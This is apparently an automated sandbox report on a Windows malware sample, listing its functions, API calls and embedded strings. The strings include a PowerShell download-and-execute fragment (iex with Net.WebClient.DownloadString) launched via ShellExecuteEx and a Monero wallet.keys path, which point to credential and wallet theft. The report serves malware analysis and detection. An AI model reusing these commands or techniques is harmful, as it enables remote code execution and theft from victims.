API String ID: 3225020163-1022791448
Opcode ID: 61ef619446f97e74c4ee90071e67cc391ae94f2fc5ac051131a0ef52fdc4e2b8
Instruction ID: 0c14404e6cd51807b9234f01bec2d95099cb00aab6f254be09f990d8a3c4f3c0
Opcode Fuzzy Hash: 61ef619446f97e74c4ee90071e67cc391ae94f2fc5ac051131a0ef52fdc4e2b8
Instruction Fuzzy Hash: 9F01E1F5A40208BBD700DBE4DC49FBEB7B8EB58705F104559FA09E7281D6B4A501CB91

Function 008B99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008B99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 008B9A11
LocalAlloc.KERNEL32(00000040,?), ref: 008B9A31
ReadFile.KERNEL32(000000FF,?,00000000,008B148F,00000000), ref: 008B9A5A
LocalFree.KERNEL32(008B148F), ref: 008B9A90
CloseHandle.KERNEL32(000000FF), ref: 008B9A9A

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: d4bc8bc2152541406b436fa20dcbfee8e6601cbf5096995e29d202fbb6621b5e
Instruction ID: b23b41f0420f8c62564f9014909cefeef622349f4d2afd09b62bf4e7c5504e62
Opcode Fuzzy Hash: d4bc8bc2152541406b436fa20dcbfee8e6601cbf5096995e29d202fbb6621b5e
Instruction Fuzzy Hash: 743107B4A00209EFDB14CF94C885BEE7BB5FF48750F108158E905A7390D778A941CFA1

Function 008C4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,007BDF38), ref: 008C47DB

Part of subcall function 008C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008C8E0B

lstrcat.KERNEL32(?,00000000), ref: 008C4801
lstrcat.KERNEL32(?,?), ref: 008C4820
lstrcat.KERNEL32(?,?), ref: 008C4834
lstrcat.KERNEL32(?,007AB008), ref: 008C4847
lstrcat.KERNEL32(?,?), ref: 008C485B
lstrcat.KERNEL32(?,007BD420), ref: 008C486F

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008C8D90: GetFileAttributesA.KERNEL32(00000000,?,008B1B54,?,?,008D564C,?,?,008D0E1F), ref: 008C8D9F

Part of subcall function 008C4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 008C4580
Part of subcall function 008C4570: RtlAllocateHeap.NTDLL(00000000), ref: 008C4587
Part of subcall function 008C4570: wsprintfA.USER32 ref: 008C45A6
Part of subcall function 008C4570: FindFirstFileA.KERNEL32(?,?), ref: 008C45BD

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 2972278f75ed11783c3103152eace31c2c0cf109a5f3f5895b68c78cf046292e
Instruction ID: 7f8c787897dd6a20ffb2d70adaec8fa9e45391ac1170de68f63c50d5407aa9a9
Opcode Fuzzy Hash: 2972278f75ed11783c3103152eace31c2c0cf109a5f3f5895b68c78cf046292e
Instruction Fuzzy Hash: A2316DB2940208A7CB14FBE4DC85FE97378FB58700F404589B359D6081EEB4E68ACB92

Function 008C2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

ShellExecuteEx.SHELL32(0000003C), ref: 008C2D85

Strings

')", xrefs: 008C2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 008C2D04
<, xrefs: 008C2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 008C2CC4

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 024d9bb194c881dbfc8ed221d68366fb30d64e8f37e71021e01be5da8cb7bb24
Instruction ID: ca416d8a0cef1569fc2d21db13cd15d217ec848ec6f4a665db748ab69f4e1d29
Opcode Fuzzy Hash: 024d9bb194c881dbfc8ed221d68366fb30d64e8f37e71021e01be5da8cb7bb24
Instruction Fuzzy Hash: 0941AA7181020C9BDB18EBA4D896FEDBB74FF14704F40412DE116EA192DF74AA4ACF96

Function 008B9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 008B9F41

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Strings

v10, xrefs: 008B9EA3
@, xrefs: 008B9EF1
ERROR_RUN_EXTRACTOR, xrefs: 008B9E67
v20, xrefs: 008B9E21

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: f318ede03c7213635e50086bed65f8032929fcf20df4e893a1b4aabf064102aa
Instruction ID: 8bfce60ff66e59e60165875254115041cf442cfdf5de9af1e73c283031d3e373
Opcode Fuzzy Hash: f318ede03c7213635e50086bed65f8032929fcf20df4e893a1b4aabf064102aa
Instruction Fuzzy Hash: 2761CA71910248ABDB28EFA8DC96FED7775FF44344F408118E9099B291EB74AA06CB52

Function 008C6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 008C696C
sscanf.NTDLL ref: 008C6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008C69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 008C69C0
ExitProcess.KERNEL32 ref: 008C69DA

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 752782222654f4c65aa250116e2ed0642ccfc3b530278bde75054062b33ab3c3
Instruction ID: fc2612a625293f8d4355162cc018cf306ffa95ce72153102374b710ade847548
Opcode Fuzzy Hash: 752782222654f4c65aa250116e2ed0642ccfc3b530278bde75054062b33ab3c3
Instruction Fuzzy Hash: B221BCB5D14208ABCF04EFE4D945AEEB7B5FF58300F04852EE40AE3250EB749619CBA5

Function 008C7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008C7E37
RtlAllocateHeap.NTDLL(00000000), ref: 008C7E3E
RegOpenKeyExA.ADVAPI32(80000002,007ABAB0,00000000,00020119,?), ref: 008C7E5E
RegQueryValueExA.ADVAPI32(?,007BD120,00000000,00000000,000000FF,000000FF), ref: 008C7E7F
RegCloseKey.ADVAPI32(?), ref: 008C7E92

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0b0eb417b6fb29cd6950c05c753f4857915c523a028d04ce115e6d8de5d523d5
Instruction ID: 49916c35717fbeb5a4a478913008fe0e58a1b64902cc0949d3d23a5a760fe4ae
Opcode Fuzzy Hash: 0b0eb417b6fb29cd6950c05c753f4857915c523a028d04ce115e6d8de5d523d5
Instruction Fuzzy Hash: 53113AB2A44209ABD700DBD4DD49FBBBBB8FB08B10F104259F619E7280D7B49801CBA1

Function 008C9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(007BDE30,?,?,?,008C140C,?,007BDE30,00000000), ref: 008C926C
lstrcpyn.KERNEL32(00AFAB88,007BDE30,007BDE30,?,008C140C,?,007BDE30), ref: 008C9290
lstrlen.KERNEL32(?,?,008C140C,?,007BDE30), ref: 008C92A7
wsprintfA.USER32 ref: 008C92C7

Strings

%s%s, xrefs: 008C92B5

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: dc051edb1b72c1bf3ce69f47719026479b852fb2a8b0fd5299a738cae231d1eb
Instruction ID: fa1fa50a3c53d513870514a2948627216f101783893ca436611192b79e0ce3bf
Opcode Fuzzy Hash: dc051edb1b72c1bf3ce69f47719026479b852fb2a8b0fd5299a738cae231d1eb
Instruction Fuzzy Hash: 8E01A5B5500108FFCB04DFE8C988EEE7BB9FB58354F108548F9199B204D671AE41DB95

Function 008B12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B12B4
RtlAllocateHeap.NTDLL(00000000), ref: 008B12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 008B12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008B12F5
RegCloseKey.ADVAPI32(?), ref: 008B12FF

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: e60fede95dfff1b669ec4985a22323f7e93c9e4490446e2535ffdf23b1ae10cb
Instruction ID: dae47a07f8f1cec66b81f89ceeac13e29c0818ccbfc23ee5023c2427bf8df915
Opcode Fuzzy Hash: e60fede95dfff1b669ec4985a22323f7e93c9e4490446e2535ffdf23b1ae10cb
Instruction Fuzzy Hash: A50112B9A40208BFDB00DFD0DC49FEEB7B8EB58701F008155FA09D7280D670AA01CB91

Function 008CC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 008CC8EC
___crtLCMapStringA.LIBCMT ref: 008CC90C
___crtLCMapStringA.LIBCMT ref: 008CC931

Strings

, xrefs: 008CC896

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: f0f9a46256673c8abb85680dd7d95eb50ba7acadc7577f79bbe66a29c62005cb
Instruction ID: 7a00f4700b7b45851111cd1a40eb5050f4f4f21cd457a21d199fbfd6491acfcf
Opcode Fuzzy Hash: f0f9a46256673c8abb85680dd7d95eb50ba7acadc7577f79bbe66a29c62005cb
Instruction Fuzzy Hash: F741D5B150079C5EDB218B248C85FFB7BF8FB45708F1444ACE98AC6182E271DA49CF60

Function 008C6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 008C6663

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

ShellExecuteEx.SHELL32(0000003C), ref: 008C6726
ExitProcess.KERNEL32 ref: 008C6755

Strings

<, xrefs: 008C66D9

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: f0e8411726db6e8f6c410efce1320233c6f3a8671e5e27ef0949bf1850ab0b63
Instruction ID: 0263404eadca100e845e568f8faa69e07dde6df8409b0151bf006b43bf9f5773
Opcode Fuzzy Hash: f0e8411726db6e8f6c410efce1320233c6f3a8671e5e27ef0949bf1850ab0b63
Instruction Fuzzy Hash: A7312DB1801218ABDB18EB94DC96FEDBB78FF14304F404199F209A6191DF74AB49CF5A

Function 008C87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,008D0E28,00000000,?), ref: 008C882F
RtlAllocateHeap.NTDLL(00000000), ref: 008C8836
wsprintfA.USER32 ref: 008C8850

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Strings

%dx%d, xrefs: 008C8847

Memory Dump Source

